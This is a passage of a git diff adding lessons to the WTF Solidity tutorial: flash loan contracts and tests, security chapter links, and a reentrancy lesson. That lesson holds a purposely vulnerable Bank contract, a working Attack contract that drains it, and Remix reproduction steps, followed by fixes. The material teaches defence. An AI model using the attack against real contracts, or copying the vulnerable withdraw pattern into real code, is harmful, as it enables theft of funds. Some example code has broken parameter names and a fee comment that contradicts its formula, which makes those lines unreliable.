uint256 premium, + address initiator, + bytes calldata params + ) external returns (bool); +} + +// AAVE V3 flash loan contract +contract AaveV3Flashloan { + address private constant AAVE_V3_POOL = + 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2; + + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + ILendingPool public aave; + + constructor() { + aave = ILendingPool(AAVE_V3_POOL); + } + + // Flash loan function + function flashloan(uint256 wethAmount) external { + aave.flashLoanSimple(address(this), WETH, wethAmount, "", 0); + } + + // Flash loan callback function can only be called by the pool contract + function executeOperation(address asset, uint256 amount, uint256 premium, address initiator, bytes calldata) + external + returns (bool) + { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == AAVE_V3_POOL, "not authorized"); + // Confirm that the initiator of the flash loan is this contract + require(initiator == address(this), "invalid initiator"); + + // flashloan logic, omitted here + + // Calculate flashloan fees + // fee = 5/1000 * amount + uint fee = (amount * 5) / 10000 + 1; + uint amountToRepay = amount + fee; + + //Repay flash loan + IERC20(WETH).approve(AAVE_V3_POOL, amountToRepay); + + return true; + } +} diff --git a/Languages/en/57_Flashloan/src/Lib.sol b/Languages/en/57_Flashloan/src/Lib.sol new file mode 100644 index 000000000..72f018fae --- /dev/null +++ b/Languages/en/57_Flashloan/src/Lib.sol @@ -0,0 +1,109 @@ +pragma solidity >=0.5.0; + +interface IERC20 { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external view returns (string memory); + function symbol() external view returns (string memory); + function decimals() external view returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); +} + +interface IUniswapV2Pair { + function swap( + uint amount0Out, + uint amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + function token1() external view returns (address); +} + +interface IUniswapV2Factory { + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + + + +library PoolAddress { + bytes32 internal constant POOL_INIT_CODE_HASH = + 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; + + struct PoolKey { + address token0; + address token1; + uint24 fee; + } + + function getPoolKey( + address tokenA, + address tokenB, + uint24 fee + ) internal pure returns (PoolKey memory) { + if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); + return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); + } + + function computeAddress( + address factory, + PoolKey memory key + ) internal pure returns (address pool) { + require(key.token0 < key.token1); + pool = address( + uint160( + uint( + keccak256( + abi.encodePacked( + hex"ff", + factory, + keccak256(abi.encode(key.token0, key.token1, key.fee)), + POOL_INIT_CODE_HASH + ) + ) + ) + ) + ); + } +} + +interface IUniswapV3Pool { + function flash( + address recipient, + uint amount0, + uint amount1, + bytes calldata data + ) external; +} + +// AAVE V3 Pool interface +interface ILendingPool { + // flashloan of single asset + function flashLoanSimple( + address receiverAddress, + address asset, + uint256 amount, + bytes calldata params, + uint16 referralCode + ) external; + + // get the fee on flashloan, default at 0.05% + function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128); +} \ No newline at end of file diff --git a/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol b/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol new file mode 100644 index 000000000..b199ad39b --- /dev/null +++ b/Languages/en/57_Flashloan/src/UniswapV2Flashloan.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV2 flash loan callback interface +interface IUniswapV2Callee { + function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; +} + +// UniswapV2 flash loan contract +contract UniswapV2Flashloan is IUniswapV2Callee { + address private constant UNISWAP_V2_FACTORY = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + + IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY); + + IERC20 private constant weth = IERC20(WETH); + + IUniswapV2Pair private immutable pair; + + constructor() { + pair = IUniswapV2Pair(factory.getPair(DAI, WETH)); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + //The calldata length is greater than 1 to trigger the flash loan callback function + bytes memory data = abi.encode(WETH, wethAmount); + + // amount0Out is the DAI to be borrowed, amount1Out is the WETH to be borrowed + pair.swap(0, wethAmount, address(this), data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV2Call( + address sender, + uint amount0, + uint amount1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + address token0 = IUniswapV2Pair(msg.sender).token0(); // Get token0 address + address token1 = IUniswapV2Pair(msg.sender).token1(); // Get token1 address + assert(msg.sender == factory.getPair(token0, token1)); // ensure that msg.sender is a V2 pair + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + // Calculate flashloan fees + // fee / (amount + fee) = 3/1000 + // Rounded up + uint fee = (amount1 * 3) / 997 + 1; + uint amountToRepay = amount1 + fee; + + //Repay flash loan + weth.transfer(address(pair), amountToRepay); + } +} diff --git a/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol b/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol new file mode 100644 index 000000000..43edffea7 --- /dev/null +++ b/Languages/en/57_Flashloan/src/UniswapV3Flashloan.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "./Lib.sol"; + +// UniswapV3 flash loan callback interface +//Need to implement and rewrite the uniswapV3FlashCallback() function +interface IUniswapV3FlashCallback { + /// In the implementation, you must repay the pool for the tokens sent by flash and the calculated fee amount. + /// The contract calling this method must be checked by the UniswapV3Pool deployed by the official UniswapV3Factory. + /// @param fee0 The fee amount of token0 that should be paid to the pool when the flash loan ends + /// @param fee1 The fee amount of token1 that should be paid to the pool when the flash loan ends + /// @param data Any data passed by the caller is called via IUniswapV3PoolActions#flash + function uniswapV3FlashCallback( + uint256 fee0, + uint256 fee1, + bytes calldata data + ) external; +} + +// UniswapV3 flash loan contract +contract UniswapV3Flashloan is IUniswapV3FlashCallback { + address private constant UNISWAP_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984; + + address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + uint24 private constant poolFee = 3000; + + IERC20 private constant weth = IERC20(WETH); + IUniswapV3Pool private immutable pool; + + constructor() { + pool = IUniswapV3Pool(getPool(DAI, WETH, poolFee)); + } + + function getPool( + address _token0, + address_token1, + uint24_fee + ) public pure returns (address) { + PoolAddress.PoolKey memory poolKey = PoolAddress.getPoolKey( + _token0, + _token1, + _fee + ); + return PoolAddress.computeAddress(UNISWAP_V3_FACTORY, poolKey); + } + + // Flash loan function + function flashloan(uint wethAmount) external { + bytes memory data = abi.encode(WETH, wethAmount); + IUniswapV3Pool(pool).flash(address(this), 0, wethAmount, data); + } + + // Flash loan callback function can only be called by the DAI/WETH pair contract + function uniswapV3FlashCallback( + uint fee0, + uint fee1, + bytes calldata data + ) external { + // Confirm that the call is DAI/WETH pair contract + require(msg.sender == address(pool), "not authorized"); + + //Decode calldata + (address tokenBorrow, uint256 wethAmount) = abi.decode(data, (address, uint256)); + + // flashloan logic, omitted here + require(tokenBorrow == WETH, "token borrow != WETH"); + + //Repay flash loan + weth.transfer(address(pool), wethAmount + fee1); + } +} diff --git a/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol b/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol new file mode 100644 index 000000000..9e9504ad0 --- /dev/null +++ b/Languages/en/57_Flashloan/test/AaveV3Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/AaveV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + AaveV3Flashloan private flashloan; + + function setUp() public { + flashloan = new AaveV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 4e16); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol b/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol new file mode 100644 index 000000000..0abaec47c --- /dev/null +++ b/Languages/en/57_Flashloan/test/UniswapV2Flashloan.t.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "../src/UniswapV2Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV2Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV2Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 3e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol b/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol new file mode 100644 index 000000000..f8b01e9c8 --- /dev/null +++ b/Languages/en/57_Flashloan/test/UniswapV3Flashloan.t.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import {Test, console2} from "forge-std/Test.sol"; +import "../src/UniswapV3Flashloan.sol"; + +address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + +contract UniswapV2FlashloanTest is Test { + IWETH private weth = IWETH(WETH); + + UniswapV3Flashloan private flashloan; + + function setUp() public { + flashloan = new UniswapV3Flashloan(); + } + + function testFlashloan() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e18); + + uint balBefore = weth.balanceOf(address(flashloan)); + console2.logUint(balBefore); + // Flash loan loan amount + uint amountToBorrow = 1 * 1e18; + flashloan.flashloan(amountToBorrow); + } + + // If the handling fee is insufficient, it will be reverted. + function testFlashloanFail() public { + //Exchange weth and transfer it to the flashloan contract to use it as handling fee + weth.deposit{value: 1e18}(); + weth.transfer(address(flashloan), 1e17); + // Flash loan loan amount + uint amountToBorrow = 100 * 1e18; + // Insufficient handling fee + vm.expectRevert(); + flashloan.flashloan(amountToBorrow); + } +} diff --git a/Languages/en/README.md b/Languages/en/README.md index 497aab89c..9fed0d75d 100644 --- a/Languages/en/README.md +++ b/Languages/en/README.md @@ -4,10 +4,9 @@ # WTF Solidity +Recently, I have been relearning Solidity, consolidating the finer details, and writing a "WTF Solidity Tutorial" for newbies. Lectures are updated 1~3 times weekly. -Recently, I have been relearning Solidity, consolidating the finer details, and writing a "WTF Solidity Tutorial" for newbies. Lectures are updated 1~3 times weekly. - -Twitter: [@WTFAcademy_](https://twitter.com/WTFAcademy_) | [@0xAA_Science](https://twitter.com/0xAA_Science) +Twitter: [@WTFAcademy\_](https://twitter.com/WTFAcademy_) | [@0xAA_Science](https://twitter.com/0xAA_Science) Community: [Discord](https://discord.gg/5akcruXrsk) | [Website: wtf.academy](https://wtf.academy) @@ -23,7 +22,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 3: Function (external/internal/public/private, pure/view, payable)**:[Code](./03_Function_en) | [Tutorial](./03_Function_en/readme.md) -**Chapter 4: Function Return (returns/return)**:[Code](./04_Return_en) | [Tutorial](./04_Return_en/readme.md) +**Chapter 4: Function Return (returns/return)**:[Code](./04_Return_en) | [Tutorial](./04_Return_en/readme.md) **Chapter 5: Data Location (storage/memory/calldata)**:[Code](./05_DataStorage_en) | [Tutorial](./05_DataStorage_en/readme.md) @@ -55,7 +54,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 18: Import**:[Code](./18_Import_en) | [Tutorial](./18_Import_en/readme.md) -**Chapter 19: Receive ETH (fallback/receive)**:[Code](./19_Fallback_en) | [Tutorial](./19_Fallback_en/readme.md) +**Chapter 19: Receive ETH (fallback/receive)**:[Code](./19_Fallback_en) | [Tutorial](./19_Fallback_en/readme.md) **Chapter 20: Send ETH (transfer/send/call)**:[Code](./20_SendETH_en) | [Tutorial](./20_SendETH_en/readme.md) @@ -101,7 +100,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 40: ERC1155**:[Code](./40_ERC1155_en/) | [Tutorial](./40_ERC1155_en/readme.md) -**Chapter 41: WETH**:[Code](./41_WETH_en/) | [Tutorial](./41_WETH_en/readme.md) +**Chapter 41: WETH**:[Code](./41_WETH_en/) | [Tutorial](./41_WETH_en/readme.md) **Chapter 42: Payment Split**:[Code](./42_PaymentSplit_en/) | [Tutorial](./42_PaymentSplit_en/readme.md) @@ -117,7 +116,6 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 47: Upgradeable Contract**:[Code](./47_Upgrade_en/) | [Tutorial](./47_Upgrade_en/readme.md) - **Chapter 48: Transparent Proxy**:[Code](./48_TransparentProxy_en/) | [Tutorial](./48_TransparentProxy_en/readme.md) **Chapter 49: UUPS**:[Code](./49_UUPS_en/) | [Tutorial](./49_UUPS_en/readme.md) @@ -126,9 +124,42 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 51: ERC4626 Tokenized Vault**:[Code](./51_ERC4626_en/) | [Tutorial](./51_ERC4626_en/readme.md) +## Security + +**Chapter S1: Reentrancy Attack**:[Code](./S01_ReentrancyAttack_en/) | [Tutorial](./S01_ReentrancyAttack_en/readme.md) + +**Chapter S2: Selector Clash**:[Code](./S02_SelectorClash_en/) | [Tutorial](./S02_SelectorClash_en/readme.md) + +**Chapter S3: Centralization**:[Code](./S03_Centralization_en/) | [Tutorial](./S03_Centralization_en/readme.md) + +**Chapter S4: Centralization Risks**:[Code](./S04_Centralization_en/) | [Tutorial](./S04_Centralization_en/readme.md) + +**Chapter S5: Integer Overflow**:[Code](./S05_Overflow_en/) | [Tutorial](./S05_Overflow_en/readme.md) + +**Chapter S6: Signature Replay**:[Code](./S06_SignatureReplay_en/) | [Tutorial](./S06_SignatureReplay_en/readme.md) + +**Chapter S7: Bad Randomness**:[Code](./S07_BadRandomness_en/) | [Tutorial](./S07_BadRandomness_en/readme.md) + +**Chapter S8: Contract Length Check Bypassing**:[Code](./S08_ContractCheck_en/) | [Tutorial](./S08_ContractCheck_en/readme.md) +**Chapter S9: Denial of Service (DoS)**:[Code](./S09_DoS_en/) | [Tutorial](./S09_DoS_en/readme.md) + +**Chapter S10: Honeypot / Pixiu**:[Code](./S10_Honeypot_en/) | [Tutorial](./S10_Honeypot_en/readme.md) + +**Chapter S11: Front-running**:[Code](./S11_Frontrun_en/) | [Tutorial](./S11_Frontrun_en/readme.md) + +**Chapter S12: tx.origin Phishing Attack**:[Code](./S12_TxOrigin_en/) | [Tutorial](./S12_TxOrigin_en/readme.md) + +**Chapter S13: Unchecked Low-Level Calls**:[Code](./S13_UncheckedCall_en/) | [Tutorial](./S13_UncheckedCall_en/readme.md) + +**Chapter S14: Block Timestamp Manipulation**:[Code](./S14_TimeManipulation_en/) | [Tutorial](./S14_TimeManipulation_en/readme.md) + +**Chapter S15: Oracle Manipulation**:[Code](./S15_OracleManipulation_en/) | [Tutorial](./S15_OracleManipulation_en/readme.md) + +**Chapter S16: NFT Reentrancy Attack**:[Code](./S16_NFTReentrancy_en/) | [Tutorial](./S16_NFTReentrancy_en/readme.md) ## WTF Contributors +

Contributors are the basis of WTF Academy @@ -139,6 +170,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi

## Reference + - [Solidity Docs](https://docs.soliditylang.org/en/v0.8.17/) - [Solidity By Example](https://solidity-by-example.org/) - [OpenZeppelin Contract](https://github.com/OpenZeppelin/openzeppelin-contracts) @@ -146,4 +178,4 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi - [Chainlink Docs](https://docs.chain.link/) - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) -- [rekt news](https://rekt.news/) \ No newline at end of file +- [rekt news](https://rekt.news/) diff --git a/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol b/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol new file mode 100644 index 000000000..9f2cb4b6b --- /dev/null +++ b/Languages/en/S01_ReentrancyAttack_en/ReentrancyAttack.sol @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by 22X +pragma solidity ^0.8.4; + +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use Checks-Effects-Interactions pattern to prevent reentrancy attack +contract GoodBank { + mapping (address => uint256) public balanceOf; + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: update balance change first, then send ETH + // In case of reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it cannot pass the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + +// Use reentrant lock to prevent reentrancy attack +contract ProtectedBank { + mapping (address => uint256) public balanceOf; + uint256 private _status; // reentrant lock + + // reentrant lock + modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call ends, restore _status to 0 + _status = 0; + } + + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Protect vulnerable function with reentrant lock + function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; + } + + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} + diff --git a/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png b/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png new file mode 100644 index 000000000..c86a9e957 Binary files /dev/null and b/Languages/en/S01_ReentrancyAttack_en/img/S01-1.png differ diff --git a/Languages/en/S01_ReentrancyAttack_en/readme.md b/Languages/en/S01_ReentrancyAttack_en/readme.md new file mode 100644 index 000000000..f0cfd1e45 --- /dev/null +++ b/Languages/en/S01_ReentrancyAttack_en/readme.md @@ -0,0 +1,219 @@ +--- +title: S01. Reentrancy Attack +tags: + - solidity + - security + - fallback + - modifier +--- + +# WTF Solidity S01. Reentrancy Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the most common type of smart contract attack - reentrancy attack, which has led to the Ethereum fork into ETH and ETC (Ethereum Classic), and discuss how to prevent it. + +## Reentrancy Attack + +Reentrancy attack is the most common type of attack in smart contracts, where attackers exploit contract vulnerabilities (such as the fallback function) to repeatedly call the contract, transferring or minting a large number of tokens. + +Some notable reentrancy attack incidents include: + +- In 2016, The DAO contract was subjected to a reentrancy attack, resulting in the theft of 3,600,000 ETH from the contract and the Ethereum fork into the ETH chain and ETC (Ethereum Classic) chain. +- In 2019, the synthetic asset platform Synthetix suffered a reentrancy attack, resulting in the theft of 3,700,000 sETH. +- In 2020, the lending platform Lendf.me suffered a reentrancy attack, resulting in a theft of $25,000,000. +- In 2021, the lending platform CREAM FINANCE suffered a reentrancy attack, resulting in a theft of $18,800,000. +- In 2022, the algorithmic stablecoin project Fei suffered a reentrancy attack, resulting in a theft of $80,000,000. + +It has been 6 years since The DAO was subjected to a reentrancy attack, but there are still several projects each year that suffer multimillion-dollar losses due to reentrancy vulnerabilities. Therefore, understanding this vulnerability is crucial. + +## The Story of `0xAA` Robbing the Bank + +To help everyone better understand, let me tell you a story about how the hacker `0xAA` robbed the bank. + +The bank on Ethereum is operated by robots controlled by smart contracts. When a regular user comes to the bank to withdraw money, the service process is as follows: + +1. Check the user's `ETH` balance. If it is greater than 0, proceed to the next step. +2. Transfer the user's `ETH` balance from the bank to the user and ask if the user has received it. +3. Update the user's balance to `0`. + +One day, the hacker `0xAA` came to the bank and had the following conversation with the robot teller: + +- 0xAA: I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- Robot: Checking your balance: `1 ETH`. Transferring `1 ETH` to your account. Have you received the money? +- 0xAA: Wait, I want to withdraw `1 ETH`. +- ... + +In the end, `0xAA` emptied the bank's assets through the vulnerability of reentrancy attack, and the bank collapsed. + +![](./img/S01-1.png) + +## Vulnerable Contract Example + +### Bank Contract + +The bank contract is very simple and includes `1` state variable `balanceOf` to record the Ethereum balance of all users. It also includes `3` functions: + +- `deposit()`: Deposit function that allows users to deposit `ETH` into the bank contract and updates their balances. +- `withdraw()`: Withdraw function that transfers the caller's balance to them. The steps are the same as in the story above: check balance, transfer funds, update balance. **Note: This function has a reentrancy vulnerability!** +- `getBalance()`: Get the `ETH` balance in the bank contract. + +```solidity +contract Bank { + mapping (address => uint256) public balanceOf; // Balance mapping + + // Deposit Ether and update balance + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + // Withdraw all Ether from msg.sender + function withdraw() external { + uint256 balance = balanceOf[msg.sender]; // Get balance + require(balance > 0, "Insufficient balance"); + // Transfer Ether !!! May trigger the fallback/receive function of a malicious contract, posing a reentrancy risk! + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + // Update balance + balanceOf[msg.sender] = 0; + } + + // Get the balance of the bank contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +### Attack Contract + +One vulnerability point of reentrancy attack is the transfer of `ETH` in the contract: if the target address of the transfer is a contract, it will trigger the fallback function of the contract, potentially causing a loop. If you are not familiar with fallback functions, you can read [WTF Solidity: 19: Receive ETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/19_Fallback_en/readme.md). The `Bank` contract has an `ETH` transfer in the `withdraw()` function: + +``` +(bool success, ) = msg.sender.call{value: balance}(""); +``` + +If the hacker re-calls the `withdraw()` function of the `Bank` contract in the `fallback()` or `receive()` function of the attack contract, it will cause the same loop as in the story of `0xAA` robbing the bank. The `Bank` contract will continuously transfer funds to the attacker, eventually emptying the contract's ETH balance. + +```solidity +receive() external payable { + bank.withdraw(); +} +``` + +Below, let's take a look at the attack contract. Its logic is very simple, which is to repeatedly call the `withdraw()` function of the `Bank` contract through the `receive()` fallback function. It has `1` state variable `bank` to record the address of the `Bank` contract. It includes `4` functions: + +- Constructor: Initializes the `Bank` contract address. +- `receive()`: The fallback function triggered when receiving ETH, which calls the `withdraw()` function of the `Bank` contract again in a loop for withdrawal. +- `attack()`: The attack function that first deposits funds into the `Bank` contract using the `deposit()` function, then initiates the first withdrawal by calling `withdraw()`. After that, the `withdraw()` function of the `Bank` contract and the `receive()` function of the attack contract will be called in a loop, emptying the ETH balance of the `Bank` contract. +- `getBalance()`: Retrieves the ETH balance in the attack contract. + +```solidity +contract Attack { + Bank public bank; // Address of the Bank contract + + // Initialize the address of the Bank contract + constructor(Bank _bank) { + bank = _bank; + } + + // Callback function used for reentrancy attack on the Bank contract, repeatedly calling the target's withdraw function + receive() external payable { + if (bank.getBalance() >= 1 ether) { + bank.withdraw(); + } + } + + // Attack function, msg.value should be set to 1 ether when calling + function attack() external payable { + require(msg.value == 1 ether, "Require 1 Ether to attack"); + bank.deposit{value: 1 ether}(); + bank.withdraw(); + } + + // Get the balance of this contract + function getBalance() external view returns (uint256) { + return address(this).balance; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Bank` contract and call the `deposit()` function to transfer `20 ETH`. +2. Switch to the attacker's wallet and deploy the `Attack` contract. +3. Call the `attack()` function of the `Attack` contract to launch the attack, and transfer `1 ETH` during the call. +4. Call the `getBalance()` function of the `Bank` contract and observe that the balance has been emptied. +5. Call the `getBalance()` function of the `Attack` contract and see that the balance is now `21 ETH`, indicating a successful reentrancy attack. + +## How to Prevent + +Currently, there are two main methods to prevent potential reentrancy attack vulnerabilities: checks-effect-interaction pattern and reentrant lock. + +### Checks-Effect-Interaction Pattern + +The "Check-Effects-Interactions" pattern emphasizes that when writing functions, you should first check if state variables meet the requirements, then immediately update the state variables (such as balances), and finally interact with other contracts. If we update the balance in the `withdraw()` function of the `Bank` contract before transferring `ETH`, we can fix the vulnerability. + +```solidity +function withdraw() external { + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + // Checks-Effects-Interactions pattern: Update balance before sending ETH + // During a reentrancy attack, balanceOf[msg.sender] has already been updated to 0, so it will fail the above check. + balanceOf[msg.sender] = 0; + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); +} +``` + +### Reentrant Lock + +The reentrant lock is a modifier that prevents reentrancy attacks. It includes a state variable `_status` that is initially set to `0`. Functions decorated with the `nonReentrant` modifier will check if `_status` is `0` on the first call, then set `_status` to `1`. After the function call completes, `_status` is set back to `0`. This prevents reentrancy attacks by causing an error if the attacking contract attempts a second call before the first call completes. If you are not familiar with modifiers, you can read [WTF Solidity: 11. Modifier](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/11_Modifier_en/readme.md). + +```solidity +uint256 private _status; // Reentrant lock + +// Reentrant lock +modifier nonReentrant() { + // _status will be 0 on the first call to nonReentrant + require(_status == 0, "ReentrancyGuard: reentrant call"); + // Any subsequent calls to nonReentrant will fail + _status = 1; + _; + // Call completed, restore _status to 0 + _status = 0; +} +``` + +Just by using the `nonReentrant` reentrant lock modifier on the `withdraw()` function, we can prevent reentrancy attacks. + +```solidity +// Protect the vulnerable function with a reentrant lock +function withdraw() external nonReentrant{ + uint256 balance = balanceOf[msg.sender]; + require(balance > 0, "Insufficient balance"); + + (bool success, ) = msg.sender.call{value: balance}(""); + require(success, "Failed to send Ether"); + + balanceOf[msg.sender] = 0; +} +``` + +## Summary + +In this lesson, we introduced the most common attack in Ethereum - the reentrancy attack, and made a story of robbing a bank with `0xAA` to help understand it. Finally, 